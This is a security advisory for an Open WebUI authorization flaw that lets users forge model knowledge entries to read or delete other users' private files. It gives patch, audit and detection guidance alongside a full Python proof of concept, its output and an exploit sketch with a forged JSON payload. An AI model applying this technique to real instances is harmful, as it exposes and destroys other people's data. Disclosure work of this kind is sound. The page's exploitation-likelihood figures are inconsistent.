CVE-2026-54012: Open WebUI: auth bypass enables cross-user file read/delete
GHSA-vjqm-6gcc-62cr HIGHOpen WebUI versions up to 0.9.5 allow any authenticated user with model management permissions to embed arbitrary file IDs into workspace model metadata, bypassing ownership checks and gaining both read and delete access to other users' private knowledge files. This directly threatens the file confidentiality boundary in every multi-user Open WebUI deployment — the dominant enterprise pattern — where users upload proprietary documents as RAG knowledge sources for their LLM sessions. While not yet in CISA KEV, the EPSS percentile places this in the top 90% for exploitation likelihood, and 102 prior CVEs in the same package signal a heavily scrutinized attack surface; a working PoC is included in the advisory. Upgrade to Open WebUI 0.9.6 immediately; if patching is blocked, restrict workspace.models and workspace.models_import permissions to administrators only and audit existing model metadata for meta.knowledge file entries not owned by the model creator.
What is the risk?
CVSS 7.1 High. Network-accessible with Low privileges required, but High complexity reflecting the need to obtain a victim file ID — which in shared enterprise instances may be discoverable via shared model inspection, ID enumeration, or insider access. Confidentiality and integrity impact are both High: files can be read in full (up to 100,000 characters per view_file call) and permanently deleted without the victim being notified. No public exploit tooling exists, but the advisory ships a complete PoC exercising the real sink and authorization bypass. The vulnerability affects three write paths (create, update, import), expanding the residual attack surface even in partially-restricted configurations.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.9.5 | 0.9.6 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch: Upgrade to Open WebUI 0.9.6, which validates meta.knowledge file ownership on all write paths (create, update, import) and removes the __model_knowledge__ authorization bypass in view_file.
-
Immediate workaround if patching is blocked: restrict workspace.models and workspace.models_import permissions to administrators only in Open WebUI role settings — this eliminates the attack path for non-admin users.
-
Audit: Query existing model records for meta.knowledge entries whose file IDs do not belong to the model owner; any mismatch indicates potential abuse or residual forged entries that should be removed.
-
Detection: Monitor /api/v1/files/{id}/content GET and DELETE calls where the file owner differs from the API caller in application logs; cross-user file API access is anomalous in normal usage.
-
Post-patch hygiene: Re-review model metadata created during the vulnerable window and treat any sensitive files accessible during that period as potentially exfiltrated.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-54012?
Open WebUI versions up to 0.9.5 allow any authenticated user with model management permissions to embed arbitrary file IDs into workspace model metadata, bypassing ownership checks and gaining both read and delete access to other users' private knowledge files. This directly threatens the file confidentiality boundary in every multi-user Open WebUI deployment — the dominant enterprise pattern — where users upload proprietary documents as RAG knowledge sources for their LLM sessions. While not yet in CISA KEV, the EPSS percentile places this in the top 90% for exploitation likelihood, and 102 prior CVEs in the same package signal a heavily scrutinized attack surface; a working PoC is included in the advisory. Upgrade to Open WebUI 0.9.6 immediately; if patching is blocked, restrict workspace.models and workspace.models_import permissions to administrators only and audit existing model metadata for meta.knowledge file entries not owned by the model creator.
Is CVE-2026-54012 actively exploited?
No confirmed active exploitation of CVE-2026-54012 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-54012?
1. Patch: Upgrade to Open WebUI 0.9.6, which validates meta.knowledge file ownership on all write paths (create, update, import) and removes the __model_knowledge__ authorization bypass in view_file. 2. Immediate workaround if patching is blocked: restrict workspace.models and workspace.models_import permissions to administrators only in Open WebUI role settings — this eliminates the attack path for non-admin users. 3. Audit: Query existing model records for meta.knowledge entries whose file IDs do not belong to the model owner; any mismatch indicates potential abuse or residual forged entries that should be removed. 4. Detection: Monitor /api/v1/files/{id}/content GET and DELETE calls where the file owner differs from the API caller in application logs; cross-user file API access is anomalous in normal usage. 5. Post-patch hygiene: Re-review model metadata created during the vulnerable window and treat any sensitive files accessible during that period as potentially exfiltrated.
What systems are affected by CVE-2026-54012?
This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, multi-user AI workspaces, LLM frontend interfaces, agent frameworks.
What is the CVSS score for CVE-2026-54012?
CVE-2026-54012 has a CVSS v3.1 base score of 7.1 (HIGH). The EPSS exploitation probability is 0.03%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application AML.T0053 AI Agent Tool Invocation AML.T0085.000 RAG Databases AML.T0086 Exfiltration via AI Agent Tool Invocation AML.T0101 Data Destruction via AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary Open WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file's extracted text, and `has_access_to_file()`'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file. ## Impact Security boundary crossed: file confidentiality and integrity. An authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can: - read the file's extracted text (up to `100000` characters per `view_file` call from `file.data.content`), - read the file's content via `GET /api/v1/files/{id}/content`, and - delete the file via `DELETE /api/v1/files/{id}`. ## Root Cause `ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access: ```python # backend/open_webui/models/models.py class ModelForm(BaseModel): model_config = ConfigDict(extra='ignore') id: str base_model_id: Optional[str] = None name: str meta: ModelMeta params: ModelParams ``` Model creation only checks the caller's model-workspace permission and then stores the form data: ```python # backend/open_webui/routers/models.py if user.role != 'admin' and not await has_permission( user.id, 'workspace.models', request.app.state.config.USER_PERMISSIONS, db=db ): raise HTTPException(...) model = await Models.insert_new_model(form_data, user.id, db=db) ``` The insert sink persists the supplied `meta`: ```python # backend/open_webui/models/models.py result = Model( **{ **form_data.model_dump(exclude={'access_grants'}), 'user_id': user_id, ... } ) ``` When built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`: ```python # backend/open_webui/utils/tools.py model_knowledge = model.get('info', {}).get('meta', {}).get('knowledge', []) ... knowledge_types = {item.get('type') for item in model_knowledge} if 'file' in knowledge_types or 'collection' in knowledge_types: builtin_functions.append(view_file) ``` `view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`: ```python # backend/open_webui/tools/builtin.py if ( file.user_id != user_id and user_role != 'admin' and not any( item.get('type') == 'file' and item.get('id') == file_id for item in (__model_knowledge__ or []) ) and not await has_access_to_file(...) ): return json.dumps({'error': 'File not found'}) ``` The same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller's accessible models and returns true when a model's `meta.knowledge` contains the requested file ID: ```python # backend/open_webui/utils/access_control/files.py for model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db): knowledge_items = getattr(model.meta, 'knowledge', None) or [] for item in knowledge_items: if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id: return True ``` This branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create. ## PoC ```python #!/usr/bin/env python3 """ Verifier for forged model meta.knowledge file entries reaching builtin tools. The proof executes: - the real Models.insert_new_model() sink with a forged meta.knowledge entry - the real builtin view_file() authorization branch Fake DB/model adapters are used only to avoid requiring a live Open WebUI server. The security-sensitive code under test is Open WebUI application code. """ from __future__ import annotations import asyncio import ast import json import os import sys import types from pathlib import Path from types import SimpleNamespace REPO = Path(__file__).resolve().parents[1] BUILTIN_TOOLS = REPO / "backend/open_webui/tools/builtin.py" def prepare_imports() -> None: sys.path.insert(0, str(REPO / "backend")) os.environ["VECTOR_DB"] = "none" class DummyTyper: def command(self, *args, **kwargs): return lambda fn: fn sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda *args, **kwargs: DummyTyper(), Option=lambda *args, **kwargs: None, echo=lambda *args, **kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None)) class FakeDb: def __init__(self): self.added = [] self.committed = False self.refreshed = False def add(self, row): self.added.append(row) async def commit(self): self.committed = True async def refresh(self, row): self.refreshed = True class FakeDbContext: def __init__(self, db): self.db = db async def __aenter__(self): return self.db async def __aexit__(self, exc_type, exc, tb): return False async def verify_model_insert_accepts_victim_file(victim_file_id: str): import open_webui.models.models as models_module fake_db = FakeDb() original_context = models_module.get_async_db_context original_set_grants = models_module.AccessGrants.set_access_grants original_to_model = models_module.Models._to_model_model async def fake_set_access_grants(*args, **kwargs): return True async def fake_to_model(self, model, access_grants=None, db=None): return SimpleNamespace( id=model.id, user_id=model.user_id, base_model_id=model.base_model_id, name=model.name, params=model.params, meta=model.meta, access_grants=[], is_active=model.is_active, created_at=model.created_at, updated_at=model.updated_at, ) try: models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db) models_module.AccessGrants.set_access_grants = fake_set_access_grants models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models) inserted = await models_module.Models.insert_new_model( models_module.ModelForm( id="attacker-model", base_model_id="gpt-vision-base", name="Attacker Model", params={}, meta={ "knowledge": [ { "id": victim_file_id, "type": "file", "name": "victim-private.txt", } ], "builtinTools": {"knowledge": True}, }, ), user_id="attacker", ) finally: models_module.get_async_db_context = original_context models_module.AccessGrants.set_access_grants = original_set_grants models_module.Models._to_model_model = original_to_model stored_meta = [getattr(row, "meta", None) for row in fake_db.added] stored_knowledge_ids = [ item.get("id") for meta in stored_meta for item in ((meta or {}).get("knowledge") or []) ] return { "insert_returned_model": bool(inserted), "db_commit_called": fake_db.committed, "stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added], "stored_model_ids": [getattr(row, "id", None) for row in fake_db.added], "stored_knowledge_file_ids": stored_knowledge_ids, } async def verify_view_file_trusts_model_knowledge(victim_file_id: str): class FakeFiles: looked_up_ids = [] async def get_file_by_id(self, file_id, db=None): self.looked_up_ids.append(file_id) if file_id == victim_file_id: return SimpleNamespace( id=victim_file_id, user_id="victim", filename="victim-private.txt", data={"content": "PRIVATE_MODEL_KNOWLEDGE_SECRET"}, created_at=1, updated_at=2, ) return None async def fake_has_access_to_file(file_id, access_type, user, db=None): return False class FakeUserModel: def __init__(self, **kwargs): self.__dict__.update(kwargs) fake_files = FakeFiles() fake_files_module = types.SimpleNamespace(Files=fake_files) fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file) original_files_module = sys.modules.get("open_webui.models.files") original_acl_module = sys.modules.get("open_webui.utils.access_control.files") try: sys.modules["open_webui.models.files"] = fake_files_module sys.modules["open_webui.utils.access_control.files"] = fake_file_acl_module source = BUILTIN_TOOLS.read_text(encoding="utf-8") tree = ast.parse(source, filename=str(BUILTIN_TOOLS)) selected = [ node for node in tree.body if isinstance(node, ast.AsyncFunctionDef) and node.name == "view_file" ] if len(selected) != 1: raise RuntimeError("could not find view_file") module = ast.Module(body=selected, type_ignores=[]) ast.fix_missing_locations(module) ns = { "json": json, "Optional": __import__("typing").Optional, "Request": object, "UserModel": FakeUserModel, "log": SimpleNamespace(exception=lambda *args, **kwargs: None), "MAX_VIEW_FILE_CHARS": 100_000, "DEFAULT_VIEW_FILE_MAX_CHARS": 10_000, } exec(compile(module, str(BUILTIN_TOOLS), "exec"), ns) view_file = ns["view_file"] denied_without_model_knowledge = await view_file( victim_file_id, __request__=SimpleNamespace(), __user__={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"}, __model_knowledge__=[], ) allowed_with_model_knowledge = await view_file( victim_file_id, __request__=SimpleNamespace(), __user__={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"}, __model_knowledge__=[{"id": victim_file_id, "type": "file"}], ) finally: if original_files_module is not None: sys.modules["open_webui.models.files"] = original_files_module else: sys.modules.pop("open_webui.models.files", None) if original_acl_module is not None: sys.modules["open_webui.utils.access_control.files"] = original_acl_module else: sys.modules.pop("open_webui.utils.access_control.files", None) denied = json.loads(denied_without_model_knowledge) allowed = json.loads(allowed_with_model_knowledge) return { "file_ids_looked_up": fake_files.looked_up_ids, "without_model_knowledge": denied, "with_forged_model_knowledge": allowed, "private_content_disclosed": allowed.get("content") == "PRIVATE_MODEL_KNOWLEDGE_SECRET", } async def main() -> None: prepare_imports() victim_file_id = "victim-private-file" insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id) tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id) result = { "confirmed": ( insert_sink["insert_returned_model"] is True and insert_sink["stored_user_ids"] == ["attacker"] and insert_sink["stored_knowledge_file_ids"] == [victim_file_id] and tool_read["without_model_knowledge"].get("error") == "File not found" and tool_read["private_content_disclosed"] is True ), "attacker_user_id": "attacker", "victim_user_id": "victim", "victim_file_id": victim_file_id, "attacker_owns_file": False, "model_insert_sink": insert_sink, "tool_read": tool_read, "source": { "insert_sink": "backend/open_webui/models/models.py:Models.insert_new_model", "tool_injection": "backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__", "read_sink": "backend/open_webui/tools/builtin.py:view_file", }, } print(json.dumps(result, indent=2, sort_keys=True)) if not result["confirmed"]: raise SystemExit(1) if __name__ == "__main__": asyncio.run(main()) ``` The PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present. Result: ```json { "attacker_owns_file": false, "attacker_user_id": "attacker", "confirmed": true, "model_insert_sink": { "db_commit_called": true, "insert_returned_model": true, "stored_knowledge_file_ids": [ "victim-private-file" ], "stored_model_ids": [ "attacker-model" ], "stored_user_ids": [ "attacker" ] }, "tool_read": { "private_content_disclosed": true, "with_forged_model_knowledge": { "content": "PRIVATE_MODEL_KNOWLEDGE_SECRET", "filename": "victim-private.txt", "id": "victim-private-file" }, "without_model_knowledge": { "error": "File not found" } }, "victim_file_id": "victim-private-file", "victim_user_id": "victim" } ``` ## Exploit Sketch 1. Attacker has permission to create or update workspace models. 2. Attacker creates a model with: ```json { "meta": { "knowledge": [ { "id": "VICTIM_FILE_ID", "type": "file", "name": "victim-private.txt" } ], "builtinTools": { "knowledge": true } } } ``` 3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`. 4. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file. ## Recommended Fix Validate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == "file"`, require direct ownership, admin role, or `has_access_to_file(file_id, 'read', user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`. Do not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association. ## Consolidation Per our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw: - Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing). - Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`'s model branch. Fix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.
Exploitation Scenario
An attacker shares an Open WebUI instance with colleagues under an account that holds workspace.models permission. They identify a target file ID by observing IDs exposed in a shared model's knowledge configuration, by enumerating sequential or UUID-based file IDs, or through insider knowledge of file naming conventions. The attacker creates a workspace model with meta.knowledge set to [{"id": "VICTIM_FILE_ID", "type": "file"}]; Open WebUI stores this without any ownership or read-access check. The attacker opens a chat session with this model, invokes the built-in view_file tool specifying VICTIM_FILE_ID, and receives the file's full extracted text — the tool checks the forged meta.knowledge entry before calling has_access_to_file(), treating the attacker-controlled entry as proof of authorization. For destruction, the attacker calls DELETE /api/v1/files/{VICTIM_FILE_ID} directly; has_access_to_file() iterates the attacker's models, finds the forged entry, returns true on the write permission check, and the victim's file is permanently deleted.
Weaknesses (CWE)
CWE-284 Improper Access Control
Primary
CWE-285 Improper Authorization
Primary
CWE-862 Missing Authorization
Primary
CWE-284 — Improper Access Control: The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
- [Architecture and Design, Operation] Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- [Architecture and Design] Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui